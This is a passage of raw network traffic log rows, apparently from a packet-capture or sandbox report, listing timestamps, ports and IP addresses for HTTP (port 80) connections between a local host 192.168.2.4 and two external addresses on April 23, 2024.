Apr 23, 2024 09:38:05.352953911 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.352965117 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.352981091 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.353001118 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353008032 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.353039980 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353045940 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.353076935 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353092909 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.353113890 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353118896 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.353149891 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353187084 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353203058 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.353223085 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353241920 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.353259087 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353267908 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.353295088 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353302956 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.353332043 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353338957 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.353368998 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353378057 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.353404999 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353411913 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.353441954 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353445053 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.353478909 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353483915 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.353516102 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353518009 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.353553057 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353560925 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.353589058 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353624105 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353631020 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.353661060 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353697062 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353705883 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.353733063 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353739977 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.353769064 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353774071 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.353806019 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353811026 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.353842974 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353847980 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.353879929 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353885889 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.353916883 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353924036 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.353955984 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353961945 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.353991985 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.353996992 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.354028940 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.354033947 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.354068995 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.354070902 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.354108095 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.354142904 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.354150057 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.354180098 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.354186058 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.354214907 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.354233027 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.354252100 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.354259014 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.354288101 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.354295969 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.354325056 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.354331017 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.354362011 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.354368925 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.354399920 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.354407072 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.354449034 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.495872021 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.495994091 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.496074915 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:05.496171951 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:05.555398941 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.555504084 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.555541992 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.555588007 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.555630922 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.555685997 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.555723906 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.555727005 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.555727005 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.555761099 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.555768013 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.555768013 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.555799961 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.555809021 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.555838108 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.555850983 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.555876017 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.555879116 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.555913925 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.555917978 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.555953026 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.555960894 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.555990934 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556005001 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.556026936 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556031942 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.556063890 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556073904 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.556121111 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556133032 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.556164026 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556169033 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.556201935 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556210995 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.556241035 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556251049 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.556277990 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556288958 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.556314945 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556324005 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.556351900 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556379080 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.556389093 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556397915 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.556427956 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556438923 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.556466103 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556473970 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.556503057 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556512117 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.556540966 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556546926 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.556577921 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556586027 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.556615114 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556623936 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.556653023 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556659937 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.556689024 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556700945 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.556726933 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556735039 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.556763887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556772947 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.556801081 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556807041 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.556838989 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556849003 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.556875944 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556884050 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.556912899 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556921959 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.556950092 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556967974 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.556988001 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.556994915 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.557027102 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.557034969 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.557064056 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.557070017 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.557101011 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.557109118 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.557138920 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.557147026 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.557178974 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.557184935 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.557218075 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.557229042 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.557256937 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.557265997 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.557293892 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.557301998 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.557331085 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.557338953 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.557368040 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.557382107 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.557406902 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.557416916 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.557445049 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.557451010 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.557482004 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.557496071 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.557518959 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.557523966 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.557555914 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.557584047 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.557594061 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.557600021 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.557632923 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.557641029 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.557668924 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.557676077 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.557706118 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.557718039 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.557743073 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.557749987 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.557780981 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.557802916 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.557821035 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.557828903 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.557857990 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.557868004 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.557895899 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.557907104 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.557934046 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.557940006 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.557970047 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.557979107 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.558010101 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558017969 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.558048010 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558053970 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.558084965 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558089972 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.558121920 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558128119 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.558157921 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558185101 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.558199883 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558209896 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.558237076 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558243990 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.558274031 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558280945 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.558310986 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558320045 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.558347940 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558355093 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.558387041 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558394909 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.558424950 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558460951 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.558463097 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558474064 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.558501005 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558507919 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.558537960 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558574915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558588028 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.558612108 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558634996 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.558648109 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558664083 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.558684111 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558689117 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.558722019 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558733940 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.558759928 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558765888 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.558795929 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558804989 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.558832884 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558851004 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.558870077 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558878899 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.558907986 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558917046 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.558948040 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558955908 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.558984995 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.558995008 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.559021950 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.559030056 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.559060097 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.559067965 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.559098005 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.559104919 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.559135914 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.559158087 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.559173107 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.559189081 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.559209108 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.559221029 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.559247017 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.559262037 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.559283972 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.559295893 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.559320927 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.559329987 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.559359074 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.559365034 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.559396982 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.559420109 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.559432983 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.559456110 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.559469938 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.559480906 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.559506893 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.559518099 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.559545994 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.559547901 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.559583902 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.559593916 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.559621096 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.559628010 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.559658051 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.559668064 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.559695959 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.559703112 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.559736013 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.559741974 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.559772968 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.559783936 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.559811115 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.559834957 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.559848070 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.559854984 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.559885025 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.559891939 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.559923887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.559931993 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.559962988 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.559968948 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.560000896 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.560009003 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.560039043 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.560055971 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.560075998 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.560082912 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.560126066 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.560133934 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.560170889 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.560178995 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.560208082 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.560225964 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.560245991 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.560255051 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.560283899 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.560292006 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.560322046 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.560333014 CEST	49733	80	192.168.2.4	185.172.128.76
